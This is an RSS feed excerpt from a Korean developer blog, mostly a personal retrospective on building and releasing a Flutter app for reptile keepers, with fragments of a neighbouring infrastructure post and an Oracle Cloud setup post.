data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이외에 API 레이어 보안도 있고 .. OG 태그 봇 분기 , CORS 명시적 허용 등 이것저것 있는데 전부 다 쓰면 TMI 이고 ㅋㅋ&lt;br /&gt;&lt;br /&gt;crashlytics 도 연동해서 혹 앱이 크래시되는 경우가 있으면 메일 알림까지 받고있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모든것들이 솔직히 너무 재밌다 ㅋㅋㅋㅋㅋ&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>DevOps</category>
      <category>docker</category>
      <category>dockerCompose</category>
      <category>Dozzle</category>
      <category>Express</category>
      <category>fail2ban</category>
      <category>FLUTTER</category>
      <category>MySQL</category>
      <category>nginx</category>
      <category>nodejs</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/228</guid>
      <comments>https://bug41.tistory.com/entry/%EA%B0%9C%EC%9D%B8-%EC%95%B1-%EC%84%9C%EB%B2%84%EB%A5%BC-%EC%9A%B4%EC%98%81%ED%95%98%EB%A9%B0-%EC%A0%81%EC%9A%A9%ED%95%9C-%EC%9D%B8%ED%94%84%EB%9D%BC%C2%B7%EB%B3%B4%EC%95%88-%EC%85%8B%EC%97%85-%EC%A0%95%EB%A6%AC#entry228comment</comments>
      <pubDate>Fri, 12 Jun 2026 23:20:32 +0900</pubDate>
    </item>
    <item>
      <title>웹개발 10년차가 앱 출시하면서 느낀 현실적인 후기</title>
      <link>https://bug41.tistory.com/entry/%EC%9B%B9%EA%B0%9C%EB%B0%9C-10%EB%85%84%EC%B0%A8%EA%B0%80-%EC%95%B1-%EC%B6%9C%EC%8B%9C%ED%95%98%EB%A9%B4%EC%84%9C-%EB%8A%90%EB%82%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%ED%9B%84%EA%B8%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20260428_190346.jpg&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;4000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPYkv1/dJMcabxlTWC/Ihh4ZWocxl38dkPJ88kNSk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPYkv1/dJMcabxlTWC/Ihh4ZWocxl38dkPJ88kNSk/img.jpg&quot; data-alt=&quot;내가 키우는 봉봉이&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPYkv1/dJMcabxlTWC/Ihh4ZWocxl38dkPJ88kNSk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPYkv1%2FdJMcabxlTWC%2FIhh4ZWocxl38dkPJ88kNSk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;235&quot; height=&quot;313&quot; data-filename=&quot;20260428_190346.jpg&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;4000&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;내가 키우는 봉봉이&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간이 어느덧 흘러 전혀 원치 않았지만 웹개발 10년차가 되어가고 있는데,&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;늘 마음 한켠에 남아있던게 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;웹 말고 앱 한번 만들어보고 싶다&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주변에서는 다들 AI 너무 좋다, 이제 개발 쉬워졌다 하는데&lt;br /&gt;솔직히 개발 현직으로 있는만큼 AI 가 무섭게 몰아치면서 현타도 많이 왔었는데&lt;br /&gt;그건 그거고, 가만히 있지말고 나도 한번 만들어보자 라는 마인드가 컸었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 결국 평소 내가 필요했던 만들고싶었던&lt;br /&gt;앱을 직접 만들어보기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파충류/양서류/절지류 관련 커뮤니티,사육일지 앱.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&quot;Flutter면 안드로이드/iOS 둘 다 된다며?&quot;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;언어는 Flutter로 정했다.&lt;br /&gt;솔직히 이유는 단순했다.&lt;br /&gt;&quot;만들면 안드로이드, iOS 둘 다 호환&quot;, (리넥 , 아이오닉은 다음 기회에~)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 진짜 가볍게 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude한테:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;파충류 사육일지 앱 만들건데 ~~~&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 던져서 초안부터 받아봤다.&lt;br /&gt;근데 생각보다 꽤 잘해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 완성품 수준은 아니지만&lt;br /&gt;기본 UI 구조나 흐름 잡는 속도가 엄청 빨랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심지어:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;padding 좀 더 줘&lt;/li&gt;
&lt;li&gt;border-radius 빼줘&lt;/li&gt;
&lt;li&gt;gap 늘려줘&lt;/li&gt;
&lt;li&gt;이 버튼 좀 덜 촌스럽게 해줘&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 정도만 말해도 꽤 잘 알아듣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전 같았으면 처음 레이아웃 잡는데만 몇주는 썼을텐데&lt;br /&gt;AI 도움 받으니까 초기 속도 체감이 꽤 컸다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제는 iOS&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우 환경에서 한참 개발하다가&lt;br /&gt;갑자기 머리를 스치는 생각이 하나 들었다.&lt;br /&gt;&lt;br /&gt;&quot;근데 iOS 테스트는 어떻게 하지?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾아보니까 &lt;br /&gt;결국 맥이 필요하더라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것도 거의 필수 수준으로.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔&lt;br /&gt;&quot;아니 요즘 시대에 꼭 맥이 있어야 한다고?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싶었는데,&lt;br /&gt;이번에 그래도 제대로 앱스토어까지 출시해보고 싶었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 바로 맥미니를 질렀다.&lt;br /&gt;130만원 정도, (M4, 램 24, 용량 512)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q2sN1/dJMcagyE4mv/GJCUwbEJnPq0F6ghKICld0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q2sN1/dJMcagyE4mv/GJCUwbEJnPq0F6ghKICld0/img.png&quot; data-alt=&quot;마이 퍼스트 M4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q2sN1/dJMcagyE4mv/GJCUwbEJnPq0F6ghKICld0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ2sN1%2FdJMcagyE4mv%2FGJCUwbEJnPq0F6ghKICld0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;376&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;마이 퍼스트 M4&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iOS 작업 필요하면 원격으로 접속해서 진행중&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;앱 개발은 &quot;코딩만 하는 작업&quot;이 아니었다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹만 오래 했던 입장에서&lt;br /&gt;앱은 생각보다 훨씬 피곤했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹은 결국 브라우저 하나만 상대하면 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버그 수정?&lt;br /&gt;서버 수정 &amp;rarr; 배포 &amp;rarr; 끝.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 앱은 그게 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정하고, 다시 빌드하고&lt;br /&gt;스토어 다시 올리고 (지금 생각해도 빡침)&lt;br /&gt;심사 다시 기다려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 생각보다 스트레스가 컸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 iOS.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Xcode 처음 켰을 때 아직도 기억난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pod install&lt;br /&gt;Generated.xcconfig&lt;br /&gt;Provisioning Profile&lt;br /&gt;Runner.xcworkspace&lt;br /&gt;Archive&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 보는 단어들이 끝없이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 뭘 하나 잘못 건드리면&lt;br /&gt;어제까지 되던게 갑자기 안된다 ㅋㅋ&lt;br /&gt;pod 뭐시기가 꼬이는 경우도 있어서 결국 ios 폴더 진입해서 다시 깔아야함ㅋㅋ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MPa5X/dJMcadaO1E9/HWj56U6SVZ1oKq8lG6L58k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MPa5X/dJMcadaO1E9/HWj56U6SVZ1oKq8lG6L58k/img.png&quot; data-alt=&quot;Xcode&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MPa5X/dJMcadaO1E9/HWj56U6SVZ1oKq8lG6L58k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMPa5X%2FdJMcadaO1E9%2FHWj56U6SVZ1oKq8lG6L58k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;770&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;770&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Xcode&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;ㅊ맞기전까진 모른다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;평소에 앱 쓰면서는 너무 당연하게 느껴져서&lt;/span&gt;&lt;br /&gt;&lt;span&gt;생각조차 안했던 부분들에서 에러를 좀 맞닥뜨렸는데&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;대표적으로 딥링크.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앱 쓰다보면:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;앱에서 열기&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;앱으로 보기&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;앱에서 보기&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이런 버튼 진짜 흔하게 본다.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;근데 나는 솔직히 이게 별거 아닐 줄 알았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&quot;그냥 앱 열면 되는거 아님?&quot;&lt;br /&gt;&lt;br /&gt;ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Android, iOS 서로 방식 다르고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;앱 스키마 등록해야 하고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;iOS 쪽에 plist 건드려야 하고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;android xml 에 intent-filter 넣어야 하고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;assetlinks.json 넣어야 하고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;apple-app-site-association 넣어야 하고&lt;/span&gt;&lt;br /&gt;&lt;span&gt;서버 루트 &lt;/span&gt;&lt;span&gt;.well-known&lt;/span&gt;&lt;span&gt; 폴더에도 각 플랫폼별 파일 다 넣어줘야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;근데 또 여기서 끝이 아니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;카카오톡 인앱브라우저 같은게 끼면&lt;/span&gt;&lt;br /&gt;&lt;span&gt;동작이 또 미묘하게 달라진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;분명 앱은 설치되어 있는데&lt;/span&gt;&lt;br /&gt;&lt;span&gt;앱이 안 열리고 웹뷰가 한번 더 뜬다던가&lt;/span&gt;&lt;br /&gt;&lt;span&gt;스토어로 튄다던가&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Android/iOS 각각 또 다르게 반응한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;결국은 link 전용으로 처리하는 서브도메인까지 새로 파서 해결했다.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;딥링크 전담 처리하고 &lt;/span&gt;&lt;span&gt;앱 실행 시키는 방식으로 우회했다.&lt;br /&gt;(가끔 카톡으로 앱 공유받을때 아래 뜨는 링크가 vercel.app 으로 되있는것들이 아마 다 이런 경우인듯 함)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;이 또한 웹이었으면 그냥 링크 하나로 끝날 일이었다...&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어서와 혼자는 처음이지&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱만 만든다고 끝나는 것도 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혼자 서비스 운영하려니까&lt;br /&gt;신경쓸게 진짜 많았다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가비아 도메인 구매&lt;/li&gt;
&lt;li&gt;Firebase 푸시알림&lt;/li&gt;
&lt;li&gt;Cloudflare R2 이미지 저장&lt;/li&gt;
&lt;li&gt;SOLAPI 문자 인증&lt;/li&gt;
&lt;li&gt;문자 발신번호용 유심 개통&lt;/li&gt;
&lt;li&gt;Oracle A1 서버로 DB 원격 백업 구축&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;웹보다 앱이 더 돈 많이 받는다는데..&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 말을 내가 사회초년생때부터 자주 들어왔던거같은데&lt;br /&gt;예전에는 솔직히 체감이 잘 안됐다.&lt;br /&gt;근데 직접 해보니까 조금은 알 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱은 단순히 코딩만 잘해서 되는게 아니라 ,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플랫폼 이해도 필요하고&lt;br /&gt;스토어 정책도 알아야 하고&lt;br /&gt;배포도 알아야 하고&lt;br /&gt;기기별 이슈도 잡아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각보다 신경쓸게 너무 많음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱개발자분들 진심으로 리스펙합니다...&lt;br /&gt;막말로 AI 있을때도 이정도인데 없을때는 생각도 하기싫다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;20260427_184353.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daOJnj/dJMcafzM6Or/gYO8HyDEcCHgM6undG0Wek/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daOJnj/dJMcafzM6Or/gYO8HyDEcCHgM6undG0Wek/img.jpg&quot; data-alt=&quot;내가 키우는 가고일 게코&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daOJnj/dJMcafzM6Or/gYO8HyDEcCHgM6undG0Wek/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaOJnj%2FdJMcafzM6Or%2FgYO8HyDEcCHgM6undG0Wek%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;451&quot; height=&quot;3000&quot; data-filename=&quot;20260427_184353.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;내가 키우는 가고일 게코&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;그래도 계속 한다 !!&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 멀긴했다&lt;br /&gt;지금 스토어에 각각 두개다 잘 올라가는 있는데&lt;br /&gt;배포할때마다 기존 구 버전 사용자들껏도&lt;br /&gt;당연히 문제없이 돌아가야하기 때문에&lt;br /&gt;뭐 하나 배포할때는 신중하게, 처리를 해야하니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그건 또 하다보면 차츰 감이 생길것 같고&lt;br /&gt;실제로 앱이 돌아가는걸 보면 묘하게 재밌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹만 오래 하다가 앱 개발 처음 해본 입장에서 느낀 결론은 하나다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;생각보다 훨씬 빡세다.&lt;br /&gt;&lt;/b&gt;근데 생각보다 재미..? 는 모르겠는데 뭐 여튼 묘하게 계속 하게 된다. ㅋㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 어디가서 &quot;나 앱 출시 해봤다 &quot; 정도는&lt;br /&gt;말 할수 있겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://web.exotiction.kr/landing&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://web.exotiction.kr/landing&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778315862573&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;엑소틱션 &amp;mdash; 특별한 친구와의 모든 순간&quot; data-og-description=&quot;도감, 일지, 커뮤니티. 희귀동물 애호가를 위한 앱&quot; data-og-host=&quot;web.exotiction.kr&quot; data-og-source-url=&quot;https://web.exotiction.kr/landing&quot; data-og-url=&quot;https://web.exotiction.kr&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cr5Dlq/dJMb87gaPU9/Ez7EsIGTcblJ1IO0TuYjd0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cmcF9I/dJMb83Snhms/i2ZHrLGGK9hwGgFQVdykuK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cHiLBP/dJMb9llbs7P/DIeDAwKjkCfFk6shQBDGF1/img.jpg?width=1440&amp;amp;height=3120&amp;amp;face=0_0_1440_3120&quot;&gt;&lt;a href=&quot;https://web.exotiction.kr/landing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://web.exotiction.kr/landing&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cr5Dlq/dJMb87gaPU9/Ez7EsIGTcblJ1IO0TuYjd0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cmcF9I/dJMb83Snhms/i2ZHrLGGK9hwGgFQVdykuK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cHiLBP/dJMb9llbs7P/DIeDAwKjkCfFk6shQBDGF1/img.jpg?width=1440&amp;amp;height=3120&amp;amp;face=0_0_1440_3120');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;엑소틱션 &amp;mdash; 특별한 친구와의 모든 순간&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;도감, 일지, 커뮤니티. 희귀동물 애호가를 위한 앱&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;web.exotiction.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>FLUTTER</category>
      <category>ios개발</category>
      <category>개발회고</category>
      <category>맥미니</category>
      <category>앱개발</category>
      <category>앱개발후기</category>
      <category>앱만들기</category>
      <category>앱출시</category>
      <category>플러터</category>
      <category>플러터개발</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/227</guid>
      <comments>https://bug41.tistory.com/entry/%EC%9B%B9%EA%B0%9C%EB%B0%9C-10%EB%85%84%EC%B0%A8%EA%B0%80-%EC%95%B1-%EC%B6%9C%EC%8B%9C%ED%95%98%EB%A9%B4%EC%84%9C-%EB%8A%90%EB%82%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%ED%9B%84%EA%B8%B0#entry227comment</comments>
      <pubDate>Sat, 9 May 2026 17:47:20 +0900</pubDate>
    </item>
    <item>
      <title>[Oracle Cloud] 무료 서버 4 OCPU / 24GB RAM 자동 선점하기 (Terraform + 자동화 스크립트) | 윈도우 기준</title>
      <link>https://bug41.tistory.com/entry/Oracle-Cloud-%EB%AC%B4%EB%A3%8C-%EC%84%9C%EB%B2%84-4-OCPU-24GB-RAM-%EC%9E%90%EB%8F%99-%EC%84%A0%EC%A0%90%ED%95%98%EA%B8%B0-Terraform-%EC%9E%90%EB%8F%99%ED%99%94-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%9C%88%EB%8F%84%EC%9A%B0-%EA%B8%B0%EC%A4%80</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오라클 클라우드 이미 잘 가입되어있다는 가정하에 진행합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;저는 가입할때 한번 튕긴적이 있었는데 , 영문주소 때문에 그런듯해요&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;결제카드 정보 까지 다 썻는데 갑자기 가입 불가하다고 통보식으로 와서 몇분 텀 두고 다시 영문주소 꼼꼼히 쓰니까 가입 됐었습니다. (가입하니 1.38 SGD 청구 되고,&amp;nbsp; Plan Upgrade 하니까 138.19 SGD 가 테스트 삼아 청구됩니다.&amp;nbsp;근데 따로 청구 취소 됐다는 알림은 못받았는데 카드내역 청구예정서 보니까 안찍혀있긴하네요.) &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKAqv8/dJMcaaZqS2k/H73cdUwwzIrFoVRs9J2G8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKAqv8/dJMcaaZqS2k/H73cdUwwzIrFoVRs9J2G8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKAqv8/dJMcaaZqS2k/H73cdUwwzIrFoVRs9J2G8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKAqv8%2FdJMcaaZqS2k%2FH73cdUwwzIrFoVRs9J2G8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;307&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
